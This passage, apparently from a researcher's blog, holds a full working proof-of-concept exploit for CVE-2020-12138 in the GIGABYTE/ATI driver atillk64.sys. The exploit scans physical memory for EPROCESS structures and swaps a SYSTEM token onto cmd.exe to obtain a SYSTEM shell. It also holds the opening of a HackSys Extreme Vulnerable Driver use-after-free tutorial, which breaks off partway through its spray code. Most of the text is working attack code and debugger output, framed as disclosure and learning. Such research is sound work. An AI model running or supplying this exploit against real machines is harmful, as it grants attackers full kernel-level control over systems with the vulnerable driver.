.I did all my testing on Windows 10 build 18362 and these were the offsets:
kd> !process 0 0 lsass.exe
PROCESS ffffd48ca64e7180
SessionId: 0 Cid: 0260 Peb: 63d241d000 ParentCid: 01f0
DirBase: 1c299b002 ObjectTable: ffffe60f220f2580 HandleCount: 1155.
Image: lsass.exe
kd> dt nt!_EPROCESS ffffd48ca64e7180 UniqueProcessId Token ImageFilename
+0x2e8 UniqueProcessId : 0x00000000`00000260 Void
+0x360 Token : _EX_FAST_REF
+0x450 ImageFileName : [15] "lsass.exe"
So we can see that from the address that would normally be given to us if we did a !poolfind
search for “Proc”, it is
0x2e8
to the UniqueProcessId
,0x360
to the Token
, and0x450
to the ImageFileName
.So in our minds right now, our allocations look like this (thanks to ReWolf for breaking this down so well):
POOL_HEADER
structure (this is where our tag will reside),OBJECT_HEADER_xxx_INFO
structures,OBJECT_HEADER
which, contains a Body
where the EPROCESS
structure lives.The problem I found was that process to process, the size of these structures in between our “Proc” address and the point where our EPROCESS
structure begins was wildly varied. Sometimes they were 0x20
in size, sometimes up to 0x90
during my testing. So right now my understanding of these allocations looks something like this:
if <0x10-aligned address> + 0x4 == "Proc"
then <0x10-aligned address> + <some intermediate structure size(somewhere between 0x20 and 0x90 typically)> == <beginning of EPROCESS>
then <beginning of EPROCESS> + 0x2e8 == UniqueProcessId
then <beginning of EPROCESS> + 0x360 == Token
then <beginning of EPROCESS> + 0x450 == ImageFileName
So my code had to account for these varying, let’s just call them “headers” informally for now, sizes. I noticed that all of these “header” structures ended with a 4-byte marker value of 0x00B80003
. So what my code would now do is,
0x10-aligned
addresses and looking at the 4-byte value at +0x4
,0x10
at a time up to offset 0xA0
(since the largest header size I found was 0x90
) looking for 0x00B80003
,0x00B80003
and add it to a vector since we need to know this “header” size to calculate our way to the EPROCESS
members we’re interested in.So now that we have both the location of a “Proc” and the size of the header, we can accurately get UniqueProcessId
, Token
, and ImageFileName
values.
0x4
) + header-size + 0x2e8
= UniqueProcessId
,0x4
) + header-size + 0x360
= Token
,0x4
) + header-size + 0x450
= UniqueProcessId
.As an example, take this “Proc” tag found by !poolfind
:
FFFFD48C`B102D320 00 00 B8 02 50 72 6F 63 39 B0 0D A6 8C D4 FF FF ....Proc9.......
FFFFD48C`B102D330 00 10 00 00 88 0A 00 00 48 00 00 00 FF E8 2E F6 ........H.......
FFFFD48C`B102D340 C0 D4 66 2F 05 F8 FF FF 24 F6 FF FF E8 1F F6 FF ..f/....$.......
FFFFD48C`B102D350 4A 7F 03 00 00 00 00 00 07 00 00 00 00 00 00 00 J...............
FFFFD48C`B102D360 00 00 00 00 00 00 00 00 93 00 08 00 F6 FF FF E8 ................
FFFFD48C`B102D370 C0 D4 66 2F 05 F8 FF FF 6B 85 EE 27 0F E6 FF FF ..f/....k..'....
FFFFD48C`B102D380 03 00 B8 00 00 00 00 00 A0 04 0D A2 8C D4 FF FF ................
We can see that 0xFFFFD48CB102D320
- 0x4
is “Proc”. Our header marker 0x00B80003
, denoting when the header ends, is at offset 0x60
from there. We can test that we can find the ImageFileName
given this information as follows:
kd> da 0xFFFFD48CB102D320 + 0x60 + 0x450
ffffd48c`b102d7d0 "svchost.exe"
So this looks promising.
One difficulty I faced on my Windows 10 build was that mapping large chunks at a time with DeviceIoControl
calling our driver routine would often result in crashes. I didn’t have this problem at all on Windows 7. In my Windows 7 exploit I was able to map a 0x4CCCCCCC
byte chunk and parse through the entire thing looking for the values I was after.
On Windows 10, I found the most stable approach to be to map 0x1000
(small page-sized) chunks at a time and then parse through these mapped chunks for my values. If I didn’t find my values, I would map another 0x1000
. This too wasn’t crash free. I found that if I made too many mappings I would also crash so I had to find a sweet spot.
I also found that some calls to the driver routine with DeviceIoControl
would return a failure. I wasn’t able to completely figure this out but my suspicion is that since our CacheType
is hardcoded for us with MmMapIoSpace
, if we tried to map pages that had been given a different CacheType
in a previous mapping to a virtual address, it would fail. (Does this make sense?)
Picking a physical address to start mapping from is kind of arbitrary but I found the sweet spot on my Windows 10 VM to be around 0x200000000
. This VM has about 8 GB of RAM. To limit the amount of mappings, I set a hard cap at 0x240000000
so that my exploit would stop mapping once it hit this address. I also toyed around with adding a limit to the amount of times DeviceIoControl
is called but the exploit seems stable enough in testing that this wasn’t necessary in the end.
I used two main functions, the first function maps memory iteratively looking to identify the physical addresses of of “Proc” tags that have our “header marker” value soon after. This function stores the address of each physical location, the size of the header offset, and the size of the offset from the beginning of the memory page to the “Proc” location. It stores all of these values in vectors which are the sole members of a struct which the function returns. The offset to the beginning of the page is simply calculated with a modulus operation and then the remainder is subtracted from the “Proc” location. I wanted to make sure I was always mapping from a nice 0x1000
aligned address. Here is some of that snipped code:
cout << "[>] Going fishing for 100 \"Proc\" chunks in RAM...\n\n";
while (proc_count < 100)
{
DWORDLONG num_of_bytes = 0x1000;
DWORDLONG padding = 0x4141414141414141;
INT64 start_address = START_ADDRESS + (0x1000 * iteration);
INPUT_BUFFER input_buff = { start_address, num_of_bytes, padding };
if (input_buff.start_address > MAX_ADDRESS)
{
cout << "[!] Max address reached!\n";
cout << "[!] Iterations: " << dec << iteration << "\n";
exit(1);
}
if (DeviceIoControl(
device_handle,
IOCTL,
&input_buff,
sizeof(input_buff),
output_buff,
sizeof(output_buff),
&bytes_returned,
NULL))
{
// The virtual address in our process space where RAM was mapped
// is located in the first 8 bytes of our output_buff.
INT64 mapped_address = *(PINT64)output_buff;
// We will read a 32 bit value at offset i + 0x100 at some point
// when looking for 0x00B80003, so we can't iterate any further
// than offset 0xF00 here or we'll get an access violation.
for (INT64 i = 0; i < (0xF10); i = i + 0x10)
{
INT64 test_address = mapped_address + i;
INT32 test_value = *(PINT32)(test_address + 0x4);
if (test_value == 0x636f7250) // "Proc"
{
for (INT64 x = 0; x < (0x100); x = x + 0x10)
{
INT64 header_address = test_address + x;
INT32 header_value = *(PINT32)header_address;
if (header_value == 0x00B80003) // "Header" ending
{
// We found a "header", this is a legit "Proc"
proc_count++;
// This is the literal physical mem addr for the
// "Proc" pool tag
INT64 temp_addr = input_buff.start_address + i;
// This address might not be page-aligned to 0x1000
// so find out how far off from a multiple of
// 0x1000 we are. This value is stored in our
// PROC_DATA struct in the page_entry_offset
// member.
INT64 modulus = temp_addr % 0x1000;
proc_data.page_entry_offset.push_back(modulus);
// This is the page-aligned address where, either
// small or large paged memory will hold our "Proc"
// chunk. We store this as our proc_address member
// in PROC_DATA.
INT64 page_address = temp_addr - modulus;
proc_data.proc_address.push_back(
page_address);
proc_data.header_size.push_back(x);
}
}
}
}
iteration++;
}
else
{
// DeviceIoControl failed
iteration++;
failures++;
}
}
cout << "[>] \"Proc\" chunks found\n";
cout << " - Failed DeviceIoControl calls: " << dec << failures << "\n";
cout << " - Total DeviceIoControl calls: " << dec << iteration << "\n\n";
// Returns struct of two vectors, one holds Proc chunk address
// one holds header-size for that Proc chunk.
return proc_data;
The next function takes the returned proc_data
struct and re-maps 0x1000
bytes of physical memory starting at the physical memory address of the “Proc” tag (-0x4
) but from the beginning of that page. The largest header length I found being 0x90
, and the largest offset of interest being 0x450
, we definitely don’t need to map this much from this address but I found that mapping anything less would sporadically lead to crashes as it wouldn’t be perfectly page-aligned.
The function knows the “Proc” tag location, the header size, and the offsets for valuable EPROCESS
members and goes looking for any likely to be SYSTEM
process as defined in a global vector.
vector<INT64> SYSTEM_procs = {
0x78652e7373727363, // csrss.exe
0x78652e737361736c, // lsass.exe
0x6578652e73736d73, // smss.exe
0x7365636976726573, // services.exe
0x6b6f72426d726753, // SgrmBroker.exe
0x2e76736c6f6f7073, // spoolsv.exe
0x6e6f676f6c6e6977, // winlogon.exe
0x2e74696e696e6977, // wininit.exe
0x6578652e736d6c77, // wlms.exe
};
If it finds one of these processes and our cmd.exe
process it will overwrite the cmd.exe
Token
with the Token
value of a privileged process giving us an nt authority\system
shell.
INT64 SYSTEM_token = 0;
INT64 cmd_token_addr = 0;
bool SYSTEM_found = false;
LPVOID output_buff = VirtualAlloc(
NULL,
0x8,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
for (int i = 0; i < proc_data.proc_address.size(); i++)
{
// We need to map 0x1000 bytes from our "Proc" tag so that we can parse
// out all the EPROCESS members we're interested in. The deepest member
// is ImageFileName at offset 0x450 from the end of the header. Header
// sizes varied from 0x20 to 0x90 in my testing. start_address will be
// the address of the beginning of each 0x1000 aligned address closest
// to the "Proc" tag we found.
DWORDLONG num_of_bytes = 0x1000;
DWORDLONG padding = 0x4141414141414141;
INT64 start_address = proc_data.proc_address[i];
INPUT_BUFFER input_buff = { start_address, num_of_bytes, padding };
DWORD bytes_returned = 0;
if (DeviceIoControl(
device_handle,
IOCTL,
&input_buff,
sizeof(input_buff),
output_buff,
sizeof(output_buff),
&bytes_returned,
NULL))
{
// Pointer to the beginning of our process space with the mapped
// 0x1000 bytes of physmem
INT64 mapped_address = *(PINT64)output_buff;
// mapped_address is mapping from our page entry where, on that
// page, exists a "Proc" tag. Therefore, we need both the header
// size and the offset from the page entry to the "Proc" tag so
// we can calculate the static offsets/values of the EPROCESS
// memebers ImageFileName, Token, UniqueProcessId...
INT64 imagename_address = mapped_address +
proc_data.header_size[i] + proc_data.page_entry_offset[i]
+ 0x450; //ImageFileName
INT64 imagename_value = *(PINT64)imagename_address;
INT64 proc_token_addr = mapped_address +
proc_data.header_size[i] + proc_data.page_entry_offset[i]
+ 0x360; //Token
INT64 proc_token = *(PINT64)proc_token_addr;
INT64 pid_addr = mapped_address +
proc_data.header_size[i] + proc_data.page_entry_offset[i]
+ 0x2e8; //UniqueProcessId
INT64 pid_value = *(PINT64)pid_addr;
// See if the ImageFileName 64 bit hex value is in our vector of
// common SYSTEM processes
int sys_result = count(SYSTEM_procs.begin(), SYSTEM_procs.end(),
imagename_value);
if (sys_result != 0 and SYSTEM_found == false)
{
SYSTEM_token = proc_token;
cout << "[>] SYSTEM process found!\n";
cout << " - ImageFileName value: "
<< (char*)imagename_address << "\n";
cout << " - Token value: " << hex << proc_token << "\n";
cout << " - Token address: " << hex << proc_token_addr
<< "\n";
cout << " - UniqueProcessId: " << dec << pid_value << "\n\n";
SYSTEM_found = true;
}
else if (imagename_value == 0x6568737265776f70 or
imagename_value == 0x6578652e646d63) // powershell or cmd
{
cmd_token_addr = proc_token_addr;
cout << "[>] cmd.exe process found!\n";
cout << " - ImageFileName value: "
<< (char*)imagename_address << "\n";
cout << " - Token value: " << hex << proc_token << "\n";
cout << " - Token address: " << hex << proc_token_addr
<< "\n";
cout << " - UniqueProcessId: " << dec << pid_value << "\n\n";
}
}
else
{
//DeviceIoControl failed
}
}
if ((!cmd_token_addr) or (!SYSTEM_token))
{
cout << "[!] Token swapping requirements not met.\n";
cout << "[!] Last physical address scanned: " << hex <<
proc_data.proc_address.back() << ".\n";
cout << "[!] Better luck next time!\n";
exit(1);
}
else
{
*(PINT64)cmd_token_addr = SYSTEM_token;
cout << "[>] SYSTEM and cmd.exe token info found, swapping tokens...\n";
exit(0);
}
}
As you can see, if we don’t find both a SYSTEM process and our cmd.exe
process, the program exits without doing anything. This wasn’t often the case whenever the test machine was left running for at least 2-3 minutes after booting.
Searching for 100 process allocations in the pool is somewhat aggressive. The program will exit if it doesn’t find this many before bumping into the hard cap. Keep in mind that it doesn’t start parsing for the EPROCESS
data until it has collected 100 “Proc” tag locations. This could mean that the program exits having already identified the relevant process chunks needed to elevate privileges.
This number can be toned down and the exploit could be trivially tweaked to search very small sections of physical memory at a time before exiting, annotating along the way and printing any valuable EPROCESS
structure information to the terminal as it progresses. It could for instance be tweaked to search n
amount of physical memory, output the location and token values of any privileged process or the cmd.exe
process, and then exit while specifying the last memory address that it mapped. You could then start the exploit up again but this time specify the new last memory address mapped and map n
from there and repeat until you had everything you needed.
The hardest part was finding the cmd.exe
process. Likely-to-be-SYSTEM processes were easy to find. If you have a remote-desktop/GUI equivalent access to the host machine, you could open a few cmd.exe
processes and greatly improve your odds of finding one to overwrite and elevate privileges.
Even with just one cmd.exe
process, I was able to find and overwrite my token roughly 90% of the time. With more than one, it was 100% in my testing.
There are some improvements that can be made to the exploit no doubt, but as is, it works really well in my testing and can be tweaked fairly easily. I believe it sufficiently proves the vulnerability.
Mandatory screenshot:
Huge thanks to @FuzzySecurity for all of the tutorials, I’ve recently also finished up his HEVD exploit tutorials and have learned a ton from his blog. Just an awesome resource.
Thanks to @HackSysTeam for the HackSysExtremeVulnerable driver, it has been such a great learning resource and got me started down this path.
Thanks to both @ihack4falafel and @ilove2pwn_ for answering all of my questions along the way or helping me find the answers myself. Very grateful.
Thanks to @TheColonial for his advice about disclosure and his awesome CAPCOM.SYS YouTube video series. I learned a lot of nice WinDBG tricks from this.
Thanks again to @jessemichael for being so helpful and charitable.
Thanks to Jackson T. for not only his blog post but for answering all my questions and being extremely helpful, really appreciate it.
And finally thanks to all those cited blog authors @rwfpl and @hatRiot.
All testing performed on Build 18362.19h1_release.190318-1202.
Please, let me know if you find any errors.
// CVE-2020-12138
// EOP Exploit POC for atillk64.sys by @h0mbre_
// C:\Program Files (x86)\GIGABYTE\RGBFusion\AtiTool\atillk64.sys
// Driver vulnerability referenced in:
// https://github.com/eclypsium/Screwed-Drivers
// https://eclypsium.com/2019/08/10/screwed-drivers-signed-sealed-delivered/
#include <iostream>
#include <vector>
#include <algorithm>
#include <Windows.h>
#include "h0mbre.h"
using namespace std;
#define DEVICE_NAME "\\\\.\\atillk64"
#define IOCTL 0x9C402564
#define START_ADDRESS (INT64)0x200000000 // based off testing my VM
#define MAX_ADDRESS (INT64)0x240000000 // based off testing my VM
// Creating vector of hex representation of ImageFileNames of common
// SYSTEM processes, eg. 'wmlms.exe' = hex('exe.smlw')
vector<INT64> SYSTEM_procs = {
0x78652e7373727363, // csrss.exe
0x78652e737361736c, // lsass.exe
0x6578652e73736d73, // smss.exe
0x7365636976726573, // services.exe
0x6b6f72426d726753, // SgrmBroker.exe
0x2e76736c6f6f7073, // spoolsv.exe
0x6e6f676f6c6e6977, // winlogon.exe
0x2e74696e696e6977, // wininit.exe
0x6578652e736d6c77, // wlms.exe
};
// Creating struct for our input buffer to DeviceIoControl
typedef struct {
INT64 start_address;
DWORDLONG num_of_bytes;
DWORDLONG padding;
} INPUT_BUFFER;
// This struct will hold the address of a "Proc" tag and that Proc chunk's
// header size
struct PROC_DATA {
std::vector<INT64> proc_address;
std::vector<INT64> page_entry_offset;
std::vector<INT64> header_size;
};
// Grabs handle to atillk64.sys
HANDLE get_handle(const char* device_name) {
HANDLE hFile = CreateFileA(
device_name,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
cout << "[!] Unable to grab handle to atillk64.sys.\n";
exit(1);
}
else
{
string hex_output = pretty_hex((int)hFile);
cout << "[>] Successfully grabbed handle to atillk64.sys: "
<< hex_output << "\n";
return hFile;
}
}
// Mapping memory from a physical address to our process virtual space
PROC_DATA map_memory(HANDLE device_handle) {
LPVOID output_buff = VirtualAlloc(
NULL,
0x8,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
string hex_output = pretty_hex((int)output_buff);
cout << "[>] Output buffer allocated at: " << hex_output << ".\n";
DWORD bytes_returned = 0;
PROC_DATA proc_data;
// failures == unsucessful DeviceIoControl calls
int failures = 0;
// How many legitamate "Proc" chunks we've found in memory as in
// we've confirmed they have headers.
int proc_count = 0;
int iteration = 0;
cout << "[>] Going fishing for 100 \"Proc\" chunks in RAM...\n\n";
while (proc_count < 100)
{
DWORDLONG num_of_bytes = 0x1000;
DWORDLONG padding = 0x4141414141414141;
INT64 start_address = START_ADDRESS + (0x1000 * iteration);
INPUT_BUFFER input_buff = { start_address, num_of_bytes, padding };
if (input_buff.start_address > MAX_ADDRESS)
{
cout << "[!] Max address reached!\n";
cout << "[!] Iterations: " << dec << iteration << "\n";
exit(1);
}
if (DeviceIoControl(
device_handle,
IOCTL,
&input_buff,
sizeof(input_buff),
output_buff,
sizeof(output_buff),
&bytes_returned,
NULL))
{
// The virtual address in our process space where RAM was mapped
// is located in the first 8 bytes of our output_buff.
INT64 mapped_address = *(PINT64)output_buff;
// We will read a 32 bit value at offset i + 0x100 at some point
// when looking for 0x00B80003, so we can't iterate any further
// than offset 0xF00 here or we'll get an access violation.
for (INT64 i = 0; i < (0xF10); i = i + 0x10)
{
INT64 test_address = mapped_address + i;
INT32 test_value = *(PINT32)(test_address + 0x4);
if (test_value == 0x636f7250) // "Proc"
{
for (INT64 x = 0; x < (0x100); x = x + 0x10)
{
INT64 header_address = test_address + x;
INT32 header_value = *(PINT32)header_address;
if (header_value == 0x00B80003) // "Header" ending
{
// We found a "header", this is a legit "Proc"
proc_count++;
// This is the literal physical mem addr for the
// "Proc" pool tag
INT64 temp_addr = input_buff.start_address + i;
// This address might not be page-aligned to 0x1000
// so find out how far off from a multiple of
// 0x1000 we are. This value is stored in our
// PROC_DATA struct in the page_entry_offset
// member.
INT64 modulus = temp_addr % 0x1000;
proc_data.page_entry_offset.push_back(modulus);
// This is the page-aligned address where, either
// small or large paged memory will hold our "Proc"
// chunk. We store this as our proc_address member
// in PROC_DATA.
INT64 page_address = temp_addr - modulus;
proc_data.proc_address.push_back(
page_address);
proc_data.header_size.push_back(x);
}
}
}
}
iteration++;
}
else
{
// DeviceIoControl failed
iteration++;
failures++;
}
}
cout << "[>] \"Proc\" chunks found\n";
cout << " - Failed DeviceIoControl calls: " << dec << failures << "\n";
cout << " - Total DeviceIoControl calls: " << dec << iteration << "\n\n";
// Returns struct of two vectors, one holds Proc chunk address
// one holds header-size for that Proc chunk.
return proc_data;
}
void parse_procs(HANDLE device_handle, struct PROC_DATA proc_data) {
INT64 SYSTEM_token = 0;
INT64 cmd_token_addr = 0;
bool SYSTEM_found = false;
LPVOID output_buff = VirtualAlloc(
NULL,
0x8,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
for (int i = 0; i < proc_data.proc_address.size(); i++)
{
// We need to map 0x1000 bytes from our "Proc" tag so that we can parse
// out all the EPROCESS members we're interested in. The deepest member
// is ImageFileName at offset 0x450 from the end of the header. Header
// sizes varied from 0x20 to 0x90 in my testing. start_address will be
// the address of the beginning of each 0x1000 aligned address closest
// to the "Proc" tag we found.
DWORDLONG num_of_bytes = 0x1000;
DWORDLONG padding = 0x4141414141414141;
INT64 start_address = proc_data.proc_address[i];
INPUT_BUFFER input_buff = { start_address, num_of_bytes, padding };
DWORD bytes_returned = 0;
if (DeviceIoControl(
device_handle,
IOCTL,
&input_buff,
sizeof(input_buff),
output_buff,
sizeof(output_buff),
&bytes_returned,
NULL))
{
// Pointer to the beginning of our process space with the mapped
// 0x1000 bytes of physmem
INT64 mapped_address = *(PINT64)output_buff;
// mapped_address is mapping from our page entry where, on that
// page, exists a "Proc" tag. Therefore, we need both the header
// size and the offset from the page entry to the "Proc" tag so
// we can calculate the static offsets/values of the EPROCESS
// memebers ImageFileName, Token, UniqueProcessId...
INT64 imagename_address = mapped_address +
proc_data.header_size[i] + proc_data.page_entry_offset[i]
+ 0x450; //ImageFileName
INT64 imagename_value = *(PINT64)imagename_address;
INT64 proc_token_addr = mapped_address +
proc_data.header_size[i] + proc_data.page_entry_offset[i]
+ 0x360; //Token
INT64 proc_token = *(PINT64)proc_token_addr;
INT64 pid_addr = mapped_address +
proc_data.header_size[i] + proc_data.page_entry_offset[i]
+ 0x2e8; //UniqueProcessId
INT64 pid_value = *(PINT64)pid_addr;
// See if the ImageFileName 64 bit hex value is in our vector of
// common SYSTEM processes
int sys_result = count(SYSTEM_procs.begin(), SYSTEM_procs.end(),
imagename_value);
if (sys_result != 0 and SYSTEM_found == false)
{
SYSTEM_token = proc_token;
cout << "[>] SYSTEM process found!\n";
cout << " - ImageFileName value: "
<< (char*)imagename_address << "\n";
cout << " - Token value: " << hex << proc_token << "\n";
cout << " - Token address: " << hex << proc_token_addr
<< "\n";
cout << " - UniqueProcessId: " << dec << pid_value << "\n\n";
SYSTEM_found = true;
}
else if (imagename_value == 0x6568737265776f70 or
imagename_value == 0x6578652e646d63) // powershell or cmd
{
cmd_token_addr = proc_token_addr;
cout << "[>] cmd.exe process found!\n";
cout << " - ImageFileName value: "
<< (char*)imagename_address << "\n";
cout << " - Token value: " << hex << proc_token << "\n";
cout << " - Token address: " << hex << proc_token_addr
<< "\n";
cout << " - UniqueProcessId: " << dec << pid_value << "\n\n";
}
}
else
{
//DeviceIoControl failed
}
}
if ((!cmd_token_addr) or (!SYSTEM_token))
{
cout << "[!] Token swapping requirements not met.\n";
cout << "[!] Last physical address scanned: " << hex <<
proc_data.proc_address.back() << ".\n";
cout << "[!] Better luck next time!\n";
exit(1);
}
else
{
*(PINT64)cmd_token_addr = SYSTEM_token;
cout << "[>] SYSTEM and cmd.exe token info found, swapping tokens...\n";
exit(0);
}
}
void ascii() {
cout << "\n\n\t CVE-2020-12138 Proof-of-Concept\n";
cout << "\t EOP in ATI Technologies atillk64.sys\n\n";
cout << "\t\t\t by @h0mbre_\n\n\n";
}
int main() {
ascii();
// Grab handle to our device driver atillk64.sys
HANDLE hFile = get_handle(DEVICE_NAME);
// Return a pointer to our output buffer
PROC_DATA proc_data = map_memory(hFile);
// Look through our PROC_DATA struct for the values we need, ie EPROCESS
// members for the processes we're interested in
parse_procs(hFile, proc_data);
}
Continuing on with my goal to develop exploits for the Hacksys Extreme Vulnerable Driver. I will be using HEVD 2.0. There are a ton of good blog posts out there walking through various HEVD exploits. I recommend you read them all! I referenced them heavily as I tried to complete these exploits. Almost nothing I do or say in this blog will be new or my own thoughts/ideas/techniques. There were instances where I diverged from any strategies I saw employed in the blogposts out of necessity or me trying to do my own thing to learn more.
This series will be light on tangential information such as:
The reason for this is simple, the other blog posts do a much better job detailing this information than I could ever hope to. It feels silly writing this blog series in the first place knowing that there are far superior posts out there; I will not make it even more silly by shoddily explaining these things at a high-level in poorer fashion than those aforementioned posts. Those authors have way more experience than I do and far superior knowledge, I will let them do the explaining. :)
This post/series will instead focus on my experience trying to craft the actual exploits.
I’ve never exploited a use-after-free bug on any system before. I vaguely understood the concept before starting this excercise. We need what, in my noob opinion, seems like quite a lot of primitives in order to make this work. Obviously HEVD goes out of its way to be vulnerable in precisely the correct way for us to get an exploit working which is perfect for me since I have no experience with this bug class and we’re just here to learn. I feel like although we have to utilize multiple functions via IOCTL, this is actually a more simple exploit to pull off than the pool overflow that we just did.
Also, I wanted to do this on 64 bit; however, most of the strategies I saw outlined required that we use NtQuerySystemInformation
, which as far as I know requires your process to be elevated to an extent so I wanted to avoid that. On 64 bit, the pool header structure size changes from 0x8
bytes to 0x10
bytes which makes exploitation more cumbersome; however, there are some good walkthroughs out there about how to accomplish this. For now, let’s stick to x86.
What do we need in order to exploit a use-after-free bug? Well, it seems like after doing this excercise we need to be able to do the following:
0xFFFFFFFF
, there is some variable out there in the program that is storing that address for later use,Let’s take a look at the UAF object allocation routine in the driver in IDA.
It may not be immediately clear what’s going on without stepping through the routine in the debugger but we actually have very little control over what is taking place here. I’ve created a small skeleton exploit code and set a breakpoint towards the start of the routine. Here is our code at the moment:
#include <iostream>
#include <Windows.h>
using namespace std;
#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
#define ALLOCATE_UAF_IOCTL 0x222013
#define FREE_UAF_IOCTL 0x22201B
#define FAKE_OBJECT_IOCTL 0x22201F
#define USE_UAF_IOCTL 0x222017
HANDLE grab_handle() {
HANDLE hFile = CreateFileA(DEVICE_NAME,
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile == INVALID_HANDLE_VALUE) {
cout << "[!] No handle to HackSysExtremeVulnerableDriver\n";
exit(1);
}
cout << "[>] Grabbed handle to HackSysExtremeVulnerableDriver: " << hex
<< hFile << "\n";
return hFile;
}
void create_UAF_object(HANDLE hFile) {
BYTE input_buffer[] = "\x00";
DWORD bytes_ret = 0x0;
int result = DeviceIoControl(hFile,
ALLOCATE_UAF_IOCTL,
input_buffer,
sizeof(input_buffer),
NULL,
0,
&bytes_ret,
NULL);
}
int main() {
HANDLE hFile = grab_handle();
create_UAF_object(hFile);
return 0;
}
You can see from the IDA screenshot that after the call to ExAllocatePoolWithTag
, eax
is placed in esi
, this is about where I’ve placed the breakpoint, we can then take the value in esi
which should be a pointer to our allocation, and go see what the allocation will look like after the subsequent memset
operation completes. We can see some static values as well, such as waht appears to be the size of the allocation (0x58
), which we know from our last post is actually undersold by 0x8
since we have to account also for the pool header, so our real allocation size in the pool is 0x60
bytes.
So we hit our breakpoint after ExAllocatePoolWithTag
and then I just stepped through until the memset
completed.
Right after the memset
completed, we look up our object in the pool and see that it’s mostly been filled with A
characters except for the first DWORD
value has been left NULL. After stepping through the next two instructions:
We can see that the DWORD
value has been filled and also that a null terminator has been added to the last byte of our allocation. This DWORD
is the UaFObjectCallback
which is a function pointer for a callback which gets used during a separate routine.
And lastly in the screenshot we can see that move esi
, which is the location of our allocation, into the global variable g_UseAfterFreeObject
. This is important because this is what makes this code vulnerable as this same variable will not be nulled out when the object is freed.
Now, lets try interacting with the driver routine which allows us to free our object.
Not a whole lot here, we can see though that there is no effort made to NULL the global variable g_UserAfterFreeObject
. You can see that even after we run the routine, the vairable still holds the value of our freed allocation address:
Now let’s see how much freedom we have to allocate arbitrary objects in the non-paged pool. Looking at the function, it uses the same APIs we’re familiar with, does a probe for read to make sure the buffer is in user land (I think?), and then builds our chunk to our specifications.
I just sent a buffer of size 0x58
with all A
characters for testing. It even appends a null-terminator to the end like the real UAF object allocator, but we control the contents of this one. This is good since we’ll have full control over the pointer value at prepended to the chunk that serves as the call back function pointer.
This is where the “use” portion of “Use-After-Free” comes in. There is a driver routine that allows us to take the address which holds the callback function pointer of the UAF object and then call the function there. We can see this in IDA.
We can see that as long as the value at [eax]
, which holds the address of our UAF object (or what used to be our UAF object before we freed it) is not NULL, we’ll go ahead and call the function pointer stored at that location (the callback function). Right now, if we called this, what would happen? Let’s see!
Looking up the memory address of what was our freed chunk we see that it is NOT NULL. We would actually call something, but the address that would be called is 0x852c22f0
. Looking at that address, we see that there is just arbitrary code there.
This is not what we want. We want this to be predictable just like our last exploit. We want the freed address of our UAF object to be filled with our fake object, so when the function pointer at that address is called, it will be a pointer we control, our shellcode. To do this, our plan of attack is very similar to our last post. Please go through that exploit first!
First thing is first, we need an object that fits our needs. Last post we used Event Objects, but this time around, since we need 0x60
sized chunks, we’ll be using IoCompletionReserve
objects which we can allocate with NtAllocateReserveObject
(thanks blogpost authors).
We’ll do the same thing we did last time but spray some more. In my testing I found that I had to spray more to get the chunks sequential like we want:
Next, we’ll want to poke holes in the contiguous block portion, remember? We’ll be collecting handles to these objects in vectors so that we can later free the ones we need to create the holes. The holes are already the perfect size, so we’ll just free every other contiguous block handle so that way, every hole that is created in our contiguous block will be surrounded on both sides by our objects. Let’s update our exploit code and test out the spray. Huge thanks to @tekwizz123 once again for showing in his exploit how to get NtAllocateReserveObject
into the program, would’ve taken me a long time to trouble shoot those compilation errors without his help. Our spray test code:
#include <iostream>
#include <vector>
#include <Windows.h>
using namespace std;
#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
#define ALLOCATE_UAF_IOCTL 0x222013
#define FREE_UAF_IOCTL 0x22201B
#define FAKE_OBJECT_IOCTL 0x22201F
#define USE_UAF_IOCTL 0x222017
vector<HANDLE> defrag_handles;
vector<HANDLE> sequential_handles;
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
UNICODE_STRING* ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;
#define POBJECT_ATTRIBUTES OBJECT_ATTRIBUTES*
typedef NTSTATUS(WINAPI* _NtAllocateReserveObject)(
OUT PHANDLE hObject,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN DWORD ObjectType);
HANDLE grab_handle() {
HANDLE hFile = CreateFileA(DEVICE_NAME,
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile == INVALID_HANDLE_VALUE) {
cout << "[!] No handle to HackSysExtremeVulnerableDriver\n";
exit(1);
}
cout << "[>] Grabbed handle to HackSysExtremeVulnerableDriver: " << hex
<< hFile << "\n";
return hFile;
}
void create_UAF_object(HANDLE hFile) {
cout << "[>] Creating UAF object...\n";
BYTE input_buffer[] = "\x00";
DWORD bytes_ret = 0x0;
int result = DeviceIoControl(hFile,
ALLOCATE_UAF_IOCTL,
input_buffer,
sizeof(input_buffer),
NULL,
0,
&bytes_ret,
NULL);
if (!result) {
cout << "[!] Could not create UAF object\n";
cout << "[!] Last error: " << dec << GetLastError() << "\n";
exit(1);
}
cout << "[>] UAF object allocated.\n";
}
void free_UAF_object(HANDLE hFile) {
cout << "[>] Freeing UAF object...\n";
BYTE input_buffer[] = "\x00";
DWORD bytes_ret = 0x0;
int result = DeviceIoControl(hFile,
FREE_UAF_IOCTL,
input_buffer,
sizeof(input_buffer),
NULL,
0,
&bytes_ret,
NULL);
if (!result) {
cout << "[!] Could not free UAF object\n";
cout << "[!] Last error: " << dec << GetLastError() << "\n";
exit(1);
}
cout << "[>] UAF object freed.\n";
